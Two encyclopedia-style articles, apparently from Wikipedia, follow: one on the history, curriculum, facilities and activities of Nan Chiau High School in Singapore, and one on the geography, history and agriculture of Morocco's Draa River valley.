In March 2015, Nan Chiau High School celebrated its 68th anniversary. Themed "Appreciating our Past, Inspiring the Future", the event was graced by Guest-of-Honour, Minister for Defence, Dr Ng Eng Hen, which saw the school and the community coming together to mark the occasion with a celebration of SG50, the outstanding achievements of the students, as well as the completion of the school's upgrading works which cost 2.67 million dollars. The school upgrading works were co-funded by the Singapore Hokkien Huay Kuan, comprising a revamp of the canteen and the air-conditioned library, as well as the construction of the park square and a new 300-seat auditorium.
70th anniversary
Nan Chiau High School commemorated its 70th anniversary in 2017 along with Nan Chiau Primary School (its former ancillary primary section before 2001). On 27 January 2017, a total of 3,398 staff and students of both institutions came together to craft knots on a triple-ring with red strings, which resembles the school logo. The event set a national record for the most people making knotted rings together. A dedicated maker-space was also opened on 10 March 2017. Named The Nest, the tools-equipped space allow students to design, construct or modify meaningful or handy items in their own accord.
On 1 August 2017, Nan Chiau High was featured in an episode of Channel 8's "When The Bell Rings" documentary series. This eight episode documentary series featured eight Special Assistance Plan (SAP) Schools in Singapore, and told stories of their transformation through the times. The episode on Nan Chiau High was the fourth episode to be aired.
In January 2018, Nan Chiau High School became one of the first 62 institutions in Singapore to pilot the Singapore Student Learning Space (SLS), a nationwide online learning portal developed jointly by the Ministry of Education and GovTech. The SLS empower students to conduct self-directed learning through a variety of interactive resources, and assist teachers in designing meaning learning experiences that promote critical thinking and teamwork among students.
Introduction of Language Elective Programme (LEP)
On 28 May 2019, Minister of Education Ong Ye Kung announced that Nan Chiau High School will offer two year Chinese Language Elective Programme (C-LEP, or 语特 in Chinese) at upper secondary level along with nine other selected institutions from 2020. First introduced in 1990 at the junior college level, the LEP programme aims to nurture students who excel in mother tongue languages through the study of literature and participating in cultural activities, and has been highly regarded for nurturing effectively bi-cultural and bilingual leaders across industries.
School identity and culture
Nan Chiau High shares its heritage with several other institutions in Singapore with the same founder. The name of the institution is a direct phonic translation of the term "" in Chinese which meant the Overseas Chinese of the Southeast Asian region (), particularly the Malayan Peninsula. The name of the institution is a reflection of its mission to empower youths through education, shared along with several other institutions which share the same identity, such as The Chinese High School (presently Hwa Chong Institution) as well as Nanyang Girls' High School.
Motto
Nan Chiau High School's motto, Sincerity & Perseverance (誠·毅), is set after the philosophy of its founder, Mr Tan Kah Kee. The motto is also shared by all Hokkien Huay Kuan schools, as well as several institutions in mainland China with the same founder, such as Xiamen Jimei Middle School of Fujian, Jimei University & Xiamen University.
"Sincerity" or 誠, meant to be truthful to self and others
"Perseverance" or 毅, meant the dedication and persistence in the pursuit of excellence in the face of challenges.
Crest
The school crest of Nan Chiau High School is represented by three interlocking rings, which symbolises its students' moral, physical and intellectual development.
The red colour of the rings depicts a persevering spirit in the pursuit of a bright and promising future, as represented by the golden background.
The heart shape in the centre of the overlapping rings symbolizes care and concern for the total welfare of the pupils in a student-oriented system.
Anthem
Nan Chiau High School keeps its original school anthem in Mandarin. The anthem was written by Ms Lin Zhen Ru, and moderated by Professor Zhao Xingdao (Mr.) in the early 1950s. The same anthem is shared with Nan Chiau Primary School, which was formerly its ancillary primary school before 2001.
Attire and appearance
Nan Chiau High School's uniform is closely linked to its heritage as a former traditional Chinese school. Originally, the school uniform was in full white with the Chinese name of the school sewed on the right chest level of the blouse, much similar to other institutions with Chinese heritage. Students in the senior high and pre-university section wore white shirts with dark coloured skirts, before the pre-university classes were made mandatory to be taught at junior colleges, a policy declared by the ministry of education in 1979. Nearing the 1990s, the school uniform was switched to be worn with dark coloured school pants or skirt, with dark coloured school tag was sewed on the left side of the shirt. The uniform was redesigned as an effort to preserve the school's identity along with the relocation of the campus in 2000, which integrated the original heritage of the uniform in the 1960s and the 1990s.
Currently, male students wear white studded shirts with Traditional Chinese characters of the school name on it in red. Navy blue shorts are worn for years one and two, and long pants for upper secondary levels. The six metal buttons bearing the school name is sewed onto the shirt as a modification to the traditional design adopted by other traditional Chinese schools, where rings were used to secure the buttons. Female students wear white blouses bearing the Traditional Chinese characters of the school name on it in red, with navy blue pleated skirts. During Assemblies and important functions, every student will wear a red-coloured school tie.
Discipline
Nan Chiau High School is known for its strict regulations and discipline, with minimal tolerance of misbehaviour by its students. In 2004 the school gained attention for its disciplinary action on a student over misconduct, which was deemed overly harsh. This came despite the backing of many alumni, educators and parents, who claimed that the action taken was justified.
Campus
Nan Chiau High School's current campus covers 7.6 acres of land off Sengkang East Avenue, constructed under the School Management Model granted by the Ministry of Education in 2000. The campus was officially declared open by then Minister for Education and Second Minister for Defence Mr. Teo Chee Hean on 8 March 2003. The five-storey building cluster consists of an Administrative Block, a Science & Research Block, an Aesthetics block, and three classroom blocks.
The Kong Chian Hall (main hall of Nan Chiau High School) was named after the school's co-founder, Mr Lee Kong Chian. The air-conditioned hall is the common venue for weekly assemblies and dialogue sessions, as well as hosting competitions and symposiums such as the National Secondary School Chinese Creative Writing Competition and the NYP-YTSS-NCHS Science Research Symposium.
The 300-seat auditorium, housed at the fourth level of the aesthetics block, was converted from an Air Rifle Shooting Range under the two-year school upgrading project in 2012 funded by the school management and Singapore Hokkien Huay Kuan. The auditorium provides a venue for performances apart from the main hall, as well as conducting sharing talks and academic lectures.
The revamped library, opened in 2013, features dedicated study areas, a small platform to hold forums and press conferences, as well as three discussion rooms available for student-teacher consultations, projects and group studies. The Nest, a dedicated maker-space which was opened in March 2017, allows students to design, construct or modify meaningful or handy items with specialised tools in the lab, and supports the school's Science, Technology, Engineering and Mathematics Applied Learning Programme (STEM ALP).
As a North Zone Centre of Excellence for Chinese Language, Nan Chiau High School also features two language labs catering for enhanced Chinese programmes and activities. The labs are currently used to host the Young Writer's Programme for students of six schools in the North 4 Cluster, as well as the school's Chinese calligraphy society.
Other facilities in NCHS include a gymnasium, an indoor sports hall, a central plaza, an open-concept canteen, an eco-garden and a 1.3 acres field.
Academic details and curriculum
O Level Express Course
As a Special Assistance Plan (SAP) school, Nan Chiau High School offers the four-year Express course which leads up to the Singapore-Cambridge GCE Ordinary Level national examination, complemented by its signature cultural intelligence and global classroom programmes. Throughout the 4 years, NCHS students are exposed to a broad range of cultural knowledge and life skills alongside the academic curriculum.
All NCHS students expect a 2-week based timetable, with supplementary lessons for four days allocated to individual subjects according to their academic needs (with the exception for Wednesdays).
A common educational procedure for the four-year Express course, subject combination streaming for NCHS students is carried out at Secondary Two level. Usually, nine classes (A to I) will be allocated per cohort for upper secondary levels, with 2 classes allocated for students taking 3 pure science subjects (commonly known as "Triple-Science" combinations).
Nan Chiau High students has sustained academic and non-academic results. A Band 1 school since 2006, the institution has developed students with exceptional results for both GCE ‘O’ Level academic subjects as well as Co-Curricular Activities (or CCA). In 2014, Nan Chiau High School's ‘O’ Level students achieved a Mean-Score (based on L1R5 Grading) of 10.6, with more than 90% of the students obtaining A1 grading for CCA involvement.
Academic subjects
The examinable academic subjects for Singapore-Cambridge GCE Ordinary Level offered by Nan Chiau High School for upper secondary level (via. streaming in secondary 2 level), as of 2020, are listed below.
Notes:
Subjects indicated with ' * ' are mandatory subjects.
All students in Singapore are required to undertake a Mother Tongue Language as an examinable subject, as indicated by ' ^ '.
Mathematics and science
Additional Mathematics*
Mathematics*
Physics
Chemistry*
Biology
Science (Chemistry/Physics, Chemistry/Biology), offered as a last resort to students unable to cope with pure science subjects.
Language and literature
English Language*
English Literature
Chinese Language* ^
Higher Chinese Language
Chinese Literature
Malay (Special Programme)
Humanities
Geography
History
Combined Humanities (Social Studies & History/Geography/English Literature/Chinese Literature Elective)*
Arts and aesthetics
Art & Design
Design & Technology
Food & Nutrition
Higher Art
Music
Higher Music
SAP Flagship Programme (Cultural Intelligence)
The SAP Flagship Programme forms a major part of Nan Chiau High's niche curriculum as a SAP school. It is designed with the incorporation of Howard Gardner’s "Five Minds for the Future" (Disciplined Mind, Synthesizing Mind, Ethical Mind, Creating Mind, Respectful Mind), with an additional sixth mind, the ‘Bi-cultural Mind’.
The flagship programme develops students' interest in learning about eastern and western cultures by providing them with opportunities to integrate both cultures and to be immersed in other cultures, and to have in-depth understanding of the essence of both the east and the west, thus preparing students to become inclusive talents who are effectively bilingual and able to make strong and meaningful connections with the world. The four-year flagship programme is mainly made up of two segments, namely 'Broad-Base Curriculum' and 'Peaks of Excellence', which include cultural intelligence and life education to groom students to be world-ready.
The 'Broad-Base Curriculum' spans the first year of the students' admission, with the introduction to Chinese culture and history, the history of Chinese immigrants and understanding diversity of local cultures. This is inculcated through various platforms such as cultural intelligence forums, bi-cultural camps, and Chinese lyrics competitions, as well as local and regional learning journeys.
The 'Peaks of Excellence' curriculum is continuous with the 'Broad-Base Curriculum', with more elaborate programmes that cater to students’ talent development. For instance, the Young Writers Programme, which is open to students who are interested in writing, has lessons conducted by various renowned Chinese language essayists in the region to expose and familiarise students to different forms of writing, and encourage them to appreciate different forms of written work. Students also have opportunities to attend cultural symposiums, national and international bi-cultural forums, research on contemporary issues, and embark on refined overseas immersions to strengthen their world and cultural views under the Global Classroom Programme.
Life Education Programme
Apart from development of cultural intelligence, life skills are also incorporated into the curriculum to prepare students for the future, by assisting students in the acquisition of various life skills that will be useful as they become part of the 21st century workforce. The Learning for Life Programme (LLP) provides a unique cognitive-aesthetic domain of learning through drama, public speaking, debate, puppetry and creative Chinese lyrical composition, to strengthen self-expression and nurtures aesthetics appreciation in students, as well as to allow them to learn and embrace cultural diversity.
In the Science, Technology, Engineering and Mathematics Applied Learning Programme (STEM ALP), students explore using Arduino Micro-controller in health related science and technology. Students also acquire science research skills to deepen their proficiency in Sciences.
Collaboration with the Singapore University of Technology and Design (SUTD)
On 16 February 2019, a new collaboration with Singapore University of Technology and Design (SUTD) was announced by Singapore Hokkien Huay Kuan, and was followed by a signing of Memorandum of Understanding. Students from Nan Chiau High School, as well as the other five institutions affiliated to Singapore Hokkien Huay Kuan, will benefit from corporate partnership through school-based programmes co-developed with SUTD. These programmes aim to inspire students to empower and embrace the developments in science, technology, engineering and mathematics (STEM), with focus in technology, design and innovation.
Enhanced Art Programme (EAP)
Since 2013, Nan Chiau High School is a certified education centre for the Enhanced Art Programme (EAP) for students who have keen interest in pursuing arts and design. Introduced in 2011 by the Ministry of Education, the two-year programme provide an enriched learning environment for Secondary 3 and 4 students who are inclined towards Art, as a complementary to the Art Elective Programme (AEP). Enrichment programmes such as the Aesthetics Week, Student-Initiated Project in Art and Lower Secondary Integrated Art Modules are also integrated for deepened understanding and application opportunities for the art students.
Exchange Programmes (Global Classroom Programme)
Nan Chiau High School has its unique overseas learning programme that offers all students an opportunity to go on subsidised learning trips to deepen their understanding on their academic subjects, perform community projects or involvement as part of the programmes within their Co-Curricular Activities (CCAs). Through this programme, opportunities are also infused for interaction with students, educators and subject specialists around the region and the globe. These included famous writers, entrepreneurs, and students from sister schools such as Ming-Dao High School of Taiwan & Sagano High School of Kyoto, Japan.
Co-curricular activities
Nan Chiau High School offers a wide variety of extra-curricular activities, labelled Co-Curricular Activities (CCA) by the Ministry of Education, consisting of sports groups, uniformed groups, performing arts, clubs and societies. Of which, many CCAs have attained spectacular performances throughout the years of history of the institution since its relocation to Sengkang in 2001.
The NCHS National Cadet Corps unit (NCHSNCC) has been awarded Gold for 19 consecutive years, winning the Distinction Unit Recognition (UR) Award in 2021. The National Police Cadet Corps (NPCC, currently the largest uniformed group in Singapore) unit of the institution have attained Gold Award consecutively for 11 years in the annual Unit Overall Proficiency Award (UOPA). The NCHS Red Cross Youth attained the Community Service Award (Gold) for years 2010 and 2013, and the Excellence Unit Award (Gold) for years 2011 and 2012. The Scouts of Nan Chiau High School, despite newly established in 2011, have attained the National Patrol Camp Best Newcomer Award, and National Patrol Camp Overall Silver in 2013.
A niche of Nan Chiau High School, the performing arts groups have consistently attained Certificates of Accomplishment and Certificates of Distinction in the Singapore Youth Festival (SYF) since the change of Central Judging Assessment to Arts Presentation Assessment in 2012. The 2007 SYF Central Judging Assessment saw the Chinese dance, String Orchestra and Choir attained Gold with Honour, with Chinese Orchestra, Chinese LDDS, English LDDS, Contemporary Dance and Wind Orchestra attaining Silver. In 2011 saw the Chinese Dance, Choir and English LDDS attaining Gold with Honours at the SYF Central Judging. Performing Arts groups of the institution also reaches out to the community through public performances, for instance the FOCUS held in 2016 at the Anchorvale Community Club.
The clubs and societies of Nan Chiau High School allowed for more varieties of exposure to skills and interests of the students, and have achieved outstanding achievements. The NCHS Robotics Club is the retaining zonal champion of the DSTA-DSO East Zone Robotics Challenge since 2014, and have been organising annual competition for primary and secondary school students since 2009. The Multimedia Club attained the Best School Award for consecutive years 2014 and 2015 in the Canon Photo Marathon.
The full listing of co-curricular activities (CCAs) offered by Nan Chiau High School is featured below.
Sports and games
Basketball
Badminton
Table Tennis
Wushu
Track & Field (2nd CCA)
Uniformed groups
National Cadet Corps
National Police Cadet Corps
Red Cross Youth
Scouts
Performing arts
Chinese Dance
Chinese Orchestra
Choir
Chinese Drama (CLDDS)
English Drama (ELDDS)
Contemporary Dance
String Orchestra
Wind Orchestra
Clubs and societies
Multimedia and Photography Club
Infocomm Club
Robotics Club
Library Society
Green Club
Debate Club
Visual arts and culture
Visual Arts Club (Ceramic / Art & Design)
Chinese Calligraphy
Student council
The student council is a co-curricular appointment for student leaders, which serves as a platform of communication within the institution. Distinguished by their striped red ties, the student councillors take up responsibilities of daily functions of the school, and are involved in the running of school events, initiatives and services that concerns the welfare of the school cohort. Student councillors also take up the role of ambassadors of the school during major school events and functions.
Class council
The class council is formed by the representatives of individual classes. Apart maintaining discipline procedures in the class, the class council functions alongside the student council as a bridge between the school and the students, and building unity and class spirit through the participation in organising inter-class competitions.
NCHS Falcons
The NCHS Falcons is a voluntary student leadership team in Nan Chiau High School composed of able CCA leaders, taking responsibility of school leadership training and school-based events. The name "F.A.L.C.O.N.S." stands as an acronym for the team's cause, "Focused on Adding values to others, to Lead, build Character with ON-going learning to Serve". The annual events handled by NCHS Falcons include school camps as well as school-based leadership workshops for year one, two and three students.
Community outreach
SHINES in Harmony
Since 2005, Nan Chiau High School organises the single day community fund raising event annually to raise funds for the community welfare organisations around the district such as the CDAC, REACH Family Service Centre. The event is open to the public, which the students, alumni and the parents support group of the institution set up food and games booths around the campus, as well as put up performances for the community to engage for a good cause.
Relation with other schools
Combined sports meet
Nan Chiau High School, Xinmin Secondary School & Yishun Town Secondary School (in 2017, only Nan Chiau High School and Xinmin Secondary School held combined sports meet) hold combined sports meets yearly since 2013 to give student athletes from the participating schools a platform to showcase their physical talent and also for the schools to unite to celebrate and enjoy. Apart from the inter-school competitions among students, parent-teacher races are also featured to engage the parents and school staff.
NCHS-NYP Science and Technology Research Programme
The NCHS-NYP Science and Technology Research Programme is a collaborated initiative between Nanyang Polytechnic and Nan Chiau High School for upper secondary levels with the aim of providing opportunities for capable science students to acquire science knowledge beyond academic syllabus, carry out research modules using contemporary technology, and interact with specialists in the relevant fields of Sciences and Information Technology. The research projects are presented in the form of an annual symposium hosted by Yishun Town Secondary and Nan Chiau High alternately, which serves as a platform for students involved to showcase their work to fellow schoolmates and counterparts from other schools.
School alumni
Nan Chiau High School boosts a significant alumni community, comprising alumni from both Nan Chiau High School and Nan Chiau Primary School, which were once affiliated. The community under various bodies continues to organise events and programmes that bonds the alumni together, as well as contributing alongside the school committee to benefit the students’ of both institutions.
Nan Chiau Alumni Association
Nan Chiau Alumni Association (NCAA) is the main alumni body of Nan Chiau High School and Nan Chiau Primary School. Formed on 12 January 1990 at the Kim Yam Road campus, the association works closely with the two institutions to preserve the traditional values of the schools while placing emphasis on the moral, physical, cognitive, social and aesthetic aspects of students’ development. It also serves as a platform for all members from the Nan Chiau family to socialise and stay in contact with each other.
With the relocation and separation of Nan Chiau High School with the ancillary primary school section in December 2000, NCAA presently functions at both Nan Chiau Primary School and Nan Chiau High School. In 2001, the NCAA started the Weekend Activities Program at Nan Chiau Primary School to complement the school curriculum, and is highly successful for providing a holistic education for the primary school pupils.
Youth of Nan Chiau
Youth of Nan Chiau is the youth wing of the Nan Chiau Alumni Association that comprises the youth graduates from both Nan Chiau High and Nan Chiau Primary. The youth wing plays a supportive role alongside the NCAA during events, gatherings when need arises. The youth wing also organizes activities for students of Nan Chiau High and Nan Chiau Primary on an ad-hoc basis.
Nan Chiau Youth Mentors
The Nan Chiau Youth Mentors (NCYM) consists of young graduates from Nan Chiau High School who have strong passion of providing assistance to the juniors within the scope of a holistic education. The members of team works alongside the school to provide assistance and sharing for upper secondary levels preparing for national examinations, as well as individual mentorship of their former Co-curricular Activities (CCAs).
Notable alumni
Medicine and healthcare
Lim Woan Huah: President's Scholar, 1984; Specialist, Paediatric Medicine
Education and politics
Peh Chin Hua: Former Member of Parliament, Jalan Besar Group Representation Constituency (1988–2001); Executive Chairman, White Group (Singapore); Former Executive Chairman (1992–2005), Dragon Land Limited.
Chan Soo Sen: Former Minister of State for Prime Minister's Office, Community Development and Sports, Education, and Trade and Industry; Member of Parliament, East Coast Group Representation Constituency (1997-2001), Joo Chiat Single Member Constituency (2001-2011); Adjunct Professor, Nanyang Centre of Public Administration, Nanyang Technological University
Leong Chan-Hoong: Deputy Head, Social Lab, Lee Kuan Yew Institute of Policy Studies, National University of Singapore
Lee Guan Kin: Pioneer Head of Division (1998 - 2007) & Distinguished Senior Research Fellow, Centre for Chinese Language & Culture, Nanyang Technological University
Arts
Goh Lay Kuan: Singapore pioneer dance choreographer and arts educator; Winner, Cultural Medallion, 1995; Co-founder, Singapore Performing Arts School
Yang Libing: Mediacorp actress.
Yang Lina: Mediacorp actress.
Zeng Huifen: Mediacorp actress.
Business and enterprise
Jason Yeo - Founder and Chief Executive of JCS Group.
Gallery
Campus
Events
External links
Nan Chiau Alumni Association
References
Educational institutions established in 1941
Educational institutions established in 1947
Secondary schools in Singapore
Schools in Sengkang
Singapore Hokkien Huay Kuan schools
1947 establishments in Singapore
Sengkang
Anchorvale
Education in North-East Region, Singapore
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5087994
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https://en.wikipedia.org/wiki/Draa%20River
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Draa River
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Dra is also the abbreviation for the constellation Draco.
The Draa (, ; also spelled Dra or Drâa, in older sources mostly Darha or Dara) is Morocco's longest river, at . It is formed by the confluence of the Dadès River and Imini River. It flows from the High Atlas mountains, initially south-eastward to Tagounite, and from Tagounite mostly westwards to its mouth in the Atlantic Ocean somewhat north of Tan-Tan. In 1971, the (El) Mansour Eddahabi dam was constructed to service the regional capital of Ouarzazate and to regulate the flow of the Draa. Most of the year the part of the Draa after Tagounite falls dry.
The water from the Draa is used to irrigate palm groves and small farms along the river. The inhabitants of the Draa are called in Arabic Drawa, in Shilha Idrawiyn, the most famous Drawi (singular of Drawa) undoubtedly being Sultan Mohammed ash-Sheikh (1490–1557). Outside of the Draa region this name is mostly used to refer to the dark skinned people of Draa, which make up the largest portion of its inhabitants.
In the first half of the 20th century, the lowest course of the Draa marked the boundary between the French protectorate of Morocco and the area under Spanish rule.
About 225,000 people live in the valley of the Draa, which measures . The valley corresponds with the province of Zagora, created in 1997, in the Souss-Massa-Drâa region. In the province there are 23 villages and two towns: Zagora and Agdz. The village of Tamegroute, near Zagora, is well known for its Zawiya.
The valley contains the Fezouata formations, which are Burgess shale-type deposits dating to the Lower Ordovician, filling an important preservational window between the common Cambrian lagerstätten and the Late Ordovician Soom shale. In the fossilized fauna were numerous organisms previously thought to have died out after the mid-Cambrian.
History
Prehistory
The pre-history of the valley of the Draa goes back thousands of years, as is evidenced by the many rock art engravings or petroglyphs in its surroundings and most of all by the find of the Venus of Tan-Tan. This statue is possibly the oldest human figurine ever found. It dates back more than three hundred thousand years.
From all main periods of the prehistory of the Sahara rock-engravings and rock-paintings have been found. Foum Chenna (Tinzouline), Aït Ouaazik (Asguine Tarna, Tazzarine), and Tiouririne e Tisguinine (Zagora) are amongst the best known sites in the Draa region. At lghir N'tidri between Tagounite and Mhamid al-Ghizlane there is the necropolis of Foum Larjam. The necropolis is the largest of North Africa and consists of several kilometers of tumuli and dates back to prehistoric times. It is one of the few sites where not just rock-drawings but also rock-paintings were found.
Before 1054
The first reference to the Draa River in historical times comes from Hanno, a navigator from Carthage (living around 550 B.C.), who set out for a mission to establish a colony on the west coast of Africa. The Punic text of the record of this journey (known as the Periplus) was engraved in the Temple of Chronos (Baal Hammon) at Carthage. There is only one Greek version, dating perhaps to the 3rd century B.C. These are the opening words of the Periplus:
"The Voyage of Hanno, King of the Carthaginians, to the Libyan regions of the earth, beyond the Pillars of Heracles..."
Having visited the Carthaginian colonies of the Atlas in Morocco, Hanno proceeded southward:
"Leaving this place we arrived at the great river Lixos which comes from Libya. On the banks nomads, the Lixites, were feeding their flocks. We stayed for some time with these people and made friends with them. Upstream from them lived the unfriendly Ethiopians whose land is full of wild beasts and broken up by high mountains where they say the Lixos flows from. They also say that about these mountains dwell the strange-looking Troglodytes. The Lixites claim that they can run faster than horses. Taking Lixite interpreters with us we sailed alongside the desert in a southerly direction for two days, then towards the rising sun for one more day. We then found at the far end of an inlet a little island five stades in circumference. We named it Cerne (Some scholars identify Kerne with the Island of Herne (23°50’N) on the coast of the Sahara) and left settlers there. judging by our journey we reckoned that it must be opposite Carthage, since we had to sail the same distance from Carthage to the Pillars of Hercules as from the Pillars of Hercules to Cerne."
It is generally agreed, the Lixos can be identified as the Draa (28°45’N). The Draa is the largest river in the area, and marks the southernmost limit of cultivable land. This well corresponds to Hanno's account. Certainly the area of Herne was known to the Carthaginians because they would hardly have sent a colony to an unknown place.
The Draa River was also well known to the ancient Romans. It figures on the first world map in history made by Ptolemy (90-168 AD).
Part of the Draa river valley was inhabited by the (Sanhaja) tribe of the Masufa. Their city in this region was called Tiyumetin (modern day Tagounite). From this time until today also the presence of Jewish groups in the Draa valley is attested. Beni Sbih and Beni Hayoune are the villages that remain of that past.
Almoravids
Four centuries later in 1053/54 the Almoravids began their advance on central Morocco. Their very first campaign was on the valley of the Draa river. The power in the valley had been, like in the city of Sijilmasa, for some 50 years in the hands of the Maghrawa (a branch of the Zenata). Here and elsewhere in Morocco this domination was resented. After the Almoravids had conquered the Draa and Sijilmasa they went on to conquer Adaghwast at the southern end of the trans-Sahara route. Yusuf ibn Tashfin took command of North Morocco, while Abu Bakr ibn Umar was leader in the Sahara, Tafilalt and the Draa. Today the remains of an Almoravid fortress can still be seen on the top of the Zagora hill. There are still groups in the Draa valley that claim descendancy from the Almoravids: the groups of Mrabtine linked to the Arib and the Msouffa, part of the confederation of the Ait Atta. This integration in the empire of the Almoravids was also the first integration of the Draa valley into the whole of Morocco.
Many times, however, the Draa valley was the cradle of revolution and dissent. In 1255 the Beni Ḥassān (the Maqil Arabs) invaded the valley. The Maqil were quickly used by the ruling Berber dynasties. In the country-side however they were deeply disruptive, bringing ruin to many sedentary farmers. The domination of the Maqil in the south lasted to the middle of the 14th century, when a large part of them moved further north and many Berber inhabitants came back. Others like the Roha, Oulad Yahia and Ouled Malek (still a part of the population), which arrived later in the Draa valley, stayed there and continued the fight for the rule of the region. In the 15th century some struggle between Arabs and Berber continued.
Saadi
At this time, the region was the home of many important religious figures and zawiyas. The Draa became part of the marabout movement against the Portuguese who had captured many towns at the Atlantic coast. The Draa made an important comeback in the history of Morocco with the rise of the dynasty of the Saadi or Bani Zaydan as their original name was. Its cradle was in the Draa valley in Tagmadert, the current district of Fezouata between Zagora and Tamegroute. Although there is still a village called Timidert today, some historians think Tagmadert was situated at today's Amezrou, a village next to Zagora. Thanks to the Saadi Dynasty the Draa played an important role in the history of Morocco and the Sahara during the 16th century. In the middle of that century the Saadi Dynasty was at the height of its power. In that time the need for gold was increasing and the sultan Ahmad al-Mansur decided to undertake the conquest of the Sudan in 1590. According to some sources, this conquest had its cause in the events of 1545 when under the reign of Mohammed ash-Sheikh the palm orchards of the Ktawa in the Draa were captured by the Tuareg Oulmiden who were sent by Ishaq I, king of the Sudan.
The campaign for the conquest of the Sudan started in the Ktawa, in the Draa valley. It was in 1591 that the troops gathered and took in food for the passage across the desert. After the military operations the trans-Sahara trade with the Sudan seems to have intensified. In the palm gardens of M'hamid between ksar Bounou and ksar Talha, the ruins of qsar El Alouj are still to be found. This was the old "customs office" where the gold powder arrived from the Sudan. There the gold coins were struck to be sent to Marrakech. With the decline of the Saadi dynasty, especially after the death of Ahmad al-Mansur in 1603, the Draa fell back into anarchy.
Alaouites
During the 17th century the Alaouite dynasty succeeds in establishing its authority in the valley. They conquer the Draa in 1642 where they, like their predecessors, construct numerous ksour. They rule by military force and it is no longer from Tagmadert that they reign the country, but from d'Aghlan, some 20 km North of Zagora. Amezrou, however becomes the seat of the governor. Later in the 17th century Mawlay Ismail Ibn Sharif sends his son to stay in Beni Zouli and also in the zawiya Nasiriyya of Tamegroute in 1675/76. A military expedition sent by Moulay Ismail Ibn Sharif to suppress a rebellion in Mhamid Ghuzlan was led by an Englishman called Thomas Pellow who spent 23 years in Morocco. Pellow wrote a book with an account of his experiences.
In the two next centuries the Draa remains the object of fights between warring (nomadic) tribes. Unfortunately sources have paid too little attention to the sedentary population to give a complete picture of its history and evolution. The officers of the colonising French were almost exclusively interested in the neighbouring resisting warrior tribe of the Ait Atta and neglected the Ktawa of the Draa. It is probable, however, that during these last centuries the nomad tribes in the Draa valley have integrated with the sedentary. Blood ties (real or imaginary) in which the determining factor whether one belonged to this or that tribe or sub-tribe make place for the determining factor of the qsour where one lives. Alliances are made between particular qsour and nomad groups which offer protection. At the end of the 18th century the power in the Ktawa is divided between three chiefs of three groups: the caid Mohamed in the qsour Beni Hayoun, sheik El Maati in the Beni Sbih and sheik Aamaou in the upper part of the valley. Around 1800 the security of these qsour was threatened by Arab nomads like the Ghenama and the Beni Mohammed and the protection of the Ait Atta was invoked. The price the sedentary groups paid for the protection was a part of their land. This method was custom at many places throughout the valley. Certain qsour however remained independent under the protection of their local chiefs or zawiyas (e.g. qsour Mezguita). Much of the history of the Draa valley is characterised by the warfare between different tribes and most of all by the crimes these tribes committed against the local Drawa population.
20th century
With the coming of the Glaoua at the beginning of the 20th century the domination of many of the ksour by the nomads (like Ait Atta) was brought to an end. Later in the 1930s the French colonisation slowly, but completely, ended the nomad influence, and social structures were radically changed. The jemaa was moved to Tagounite, the new administrative centre, and after a few years the region enjoyed a new kind of autonomy.
Kasbahs
The valley of the Draa is especially famous for its kasbahs. The most famous kasbahs in the region are (north to south):
The kasbah of Tamnougalt (the kasbah of Caïd Ali) and the kasbah of Aït Hammou Ousaid (or Mouha ou Hammou Zayani) near Agdz.
The kasbah of El Caïd Ouslim and the kasbah of Oulad Outhmane in Tamezmout.
The kasbah of Foum Achnna and the kasbah of N'Kob in Tinzouline
The kasbah of Tat Ifli in Beni Zouli.
The kasbah of Amezrou, of Aït Ali Tighramt Ouziguen and of Laglaoui in Zagora
The kasbah of Agouim Nouaadjou and the kasbah of Tagounite in Tagounite.
The kasbah of Aït Bounou, of LaAllouj, the kashbah of Oulad Driss and the kasbah of the Rgabi in M'hamid El Ghuzlane.
Agriculture
The Draa valley is famous as the date basket of Morocco. It grows more than 18 varieties. Fruit trees and vegetables are the main crops but henna is also a well known product of the region. The agriculture is very labour-intensive because it takes place on terraced fields. Seguias (small canals) transport the water from the river to the fields. Like some other ancient Berber oases in North Africa (Siwa, Kufra, Ouargla) the Draa valley was known for its qatarra, a sophisticated system of underground irrigation canals.
Language
Two languages are spoken in the area: a local variety of Colloquial Arabic which is closely related to Hassaniya, and Shilha or Tashelhiyt, a Berber language.
Oases
The Upper Draa River valley, about long, consists of six stretches of oases/palm groves from north to south:
The Mezguita oasis, with the Agdz and Auriz and south of it the Tamsikht dam
The oasis of Tinzouline, with Ouled Lagraier, Tinzouline, Ouled Yaoub and a dam south of it
The Ternata oasis with Zagora
The Fezouata oasis with Tamegroute and south of it the Azagha dam
The Ktaoua oasis (English Ktawa) with Tagounite, Blida, Tiraf and the Bounou dam south of it
The oasis of Mhamid el Ghuzlan with Mhamid el Ghuzlan
The width of the "green zone" is on average but varies from to .
Because of the terrain the agriculture is very labour-intensive. Dates are the main product, but also cereals, vegetables and henna are cultivated.
Ksour
in the Mezguita
in Tinzouline
in Ternata
in the Fezouata
in the Ktaoua/Ktwawa
This is the southern stretch of the valley between the Azagha and the Bounou dam near Tagounite. There are 55 villages, mostly consisting of ksour (plural of ksar):
Source : Recensement général du Maroc, 1994 (Recensement général de la population et de l'habitat (RGPH, Haut-Commissariat au Plan du Royaume du Maroc (HCP), septembre 1994)).
Exploration
The Draa has attracted the attention of a number of notable explorers including Frenchman Charles de Foucauld who travelled throughout Morocco disguised as a Jewish merchant in the 1800s, Jeffrey Tayler who wrote a book about his experiences and most recently Scottish Adventurer, Alice Morrison, who became the first woman to walk the entire length of the Draa in 2019.
Notes
Bibliography
Bahani, A., La nouba d'eau et son évolution dans les palmeraies du Draa Moyen du Maroc: CERES. Les oasis du Maghreb, Tunis: pp. 107–126, 1994
Philip Curtin (ed.), African History, London: Longman, 1988
M. Elfasi (ed.), General History of Africa III, Africa from the Seventh to the 11th century, UNESCO, 1988
Charles de Foucauld, Reconnaissance au Maroc, 1888, 1 vol. in -4 and atlas
Hammoudi, A., Substance and Relation: Water Rights and Water Distribution in the Dra Valley. In: Mayer, A.E. (Ed.), Property, Social Structure, and law in the Modern Middle East. New York: pp. 27–57, 1985
Marmol Caravajal, Africa, 1667 3 vol. in 4
Thomas Pellow; Josephine Grieder, The History of the long captivity and adventures of Thomas Pellow, in South-Barbary : [written by himself], 1973 (repr.of the 1739 edition with a new introd. for the Garland ed. by Josephine Grieder)
W.D. Seiwert (ed.), Maurische Chronik, München: Trickster Verlag, 1988
Jacques-Meunié, D., Le Maroc Saharien, des origines à 1670. Thèse d'État. 2 tomes, Librairie Klincksieck, Paris, 1982
G. Spillmann, Villes et Tribus du Maroc vol. IX, Tribus Berbères Tome II, Districts et Tribus de la Haute Vallée du Dra, Paris, 1931
Jeffrey Tayler, Valley of the Casbahs, 2004
